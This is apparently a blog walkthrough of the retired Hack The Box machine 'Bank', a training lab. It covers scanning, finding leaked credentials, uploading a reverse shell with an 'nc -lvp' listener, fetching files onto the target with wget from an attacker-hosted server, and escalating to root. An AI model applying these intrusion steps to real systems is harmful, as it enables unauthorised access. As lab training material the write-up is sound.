🔐
EAkl Blog
  • 👋Welcome!
  • 🐛Web Application Findings
    • Cisco BroadWorks Vulnerabilities CVE-2021–34785 & CVE-2021–34786
    • Authentication bypass using empty parameters.
    • IDOR at Login function leads to leak user’s PII data
  • ℹ️Recon automation, tips and tricks
    • Simple Recon Methodology
    • How to write a simple script to automate finding bugs
  • 🔐Hack The Box Machines
    • Feline Walkthrough
    • Reel2 Walkthrough
    • Active Walkthrough
    • PopCorn Walkthrough
    • Jewel Walkthrough
    • Passage Walkthrough
    • Time Walkthrough
    • Devel Walkthrough
    • Lame Walkthrough
    • Beep Walkthrough
    • Blue Walkthrough
    • Jerry Walkthrough
    • Optimum Walkthrough
    • Grandpa Walkthrough
    • Legacy Walkthrough
    • Mirai Walkthrough
    • Valentine Walkthrough
    • Shocker Walkthrough
    • Netmon Walkthrough
    • Bank Walkthrough
    • Granny Walkthrough
    • Tabby Walkthrough
    • Access Walkthrough
    • Swagshop Walkthrough
    • OpenAdmin Walkthrough
    • Remote Walkthrough
    • Sauna Walkthrough
    • FriendZone Walkthrough
    • Hack The Box — Networked
    • Hack The Box — Forest
    • Hack The Box — WriteUP
    • Hack The Box — Academy
    • Hack The Box — Luanne
  • 🏴‍☠️CTF Challenges
    • CTF CyberTalents  — Bypass the world Writeup
    • CTF CyberTalents — Admin Gate First
    • CTF CyberTalents — Inbox
    • CTFlearn — Inj3ction Time
    • CTF ringzer0ctf — Challenge Access List
    • CTF ringzer0ctf — Login portal 2
    • CTF ringzer0ctf — SQLi challenges — part 1
    • CTF ringZer0ctf — Login form
  • 🔴Red Teaming Tips & Tricks
    • MOTW Defensive and Bypass techniques
  • ☁️Cloud Security
    • [Azure] Real Example to know different types of app concepts in Azure
    • [Azure] What To Do If?
Powered by GitBook
On this page
  • Nmap Scan
  • Web Enumeration
  • User Flag
  • Root Flag
  1. Hack The Box Machines

Bank Walkthrough

PreviousNetmon WalkthroughNextGranny Walkthrough

Last updated 2 years ago

Hey folks, we are back again with one of HackTheBox retired machines “Bank”, before we talk about it let’s take a look at its info

Let’s get started…

Nmap Scan

We usually start our scan with nmap scan to discover all open ports, service running, OS detection, etc

nmap -A -T4 -oG bank.gnmap 10.10.10.29

We have 3 open ports ssh/dns/http

I’ve tried to brute-force ssh credentials and search for vhosts or zone transfer but it fails so let’s go to the next step, nothing important here

Web Enumeration

If you try to open 10.10.10.29:80 you will get the default page of the server

Let’s start to discover the hidden directories by using dirbuster/gobuster/ffuf/dirsearch

You will get more of a bunch of directories which is open and available.

After discovering them, I’ve big data in the last one /balance_transfer

Note that all these files have the same size, but there’s one has a different size, so we will open it first

Good, we found credentials, let’s use them to login to the login portal

Here we go! Nice design :)

User Flag

The next step is to open nc as a listener on the port which I insert to the shell code nc -lvp <port> and then access the shell form the website

Nice, we’re in the server now but unfortunately in the user priv not root so let’s grab the user.txt first and then try to be root

Root Flag

I’ve used python -m SimpleHTTPServer 80 to make the attacker machine act as a server, and then go to /tmp the directory in the vulnerable machine to have permission to write there and then downloaded wget http://<attacker-machine-ip>/<file-name> and it was downloaded. Let’s execute it

We have 4 vulnerabilities that works on this machine but unfortunately, there’s no one of them works with me, so I’ll try to discover all directories to find any juicy file which gave me a root access

After minutes, I found this directory /var/htb

And have this executable file

As you can see I’ve tried to execute it, but it’s failed so I execute it from the bin directory, and it’s worked as you can see ❤

But if you try echo "10.10.10.29 bank.htb" > /etc/hosts and search for you will get a different page ‘Login portal’ and by using this I know that it redirects me to an unknown page before getting the login portal.

After discovering the whole account, I found an upload function on bank.htb/support and then we grabbed a reverse shell from and then uploaded it

/home/chris

It’s time now to grab the root.txt. I’ve used to know which vulnerabilities the machine is affected by downloading it on the attack machine and then transferring it to the vulnerable machine

🔐
http://bank.htb
plugin
here
Linux-Exploit-Suggester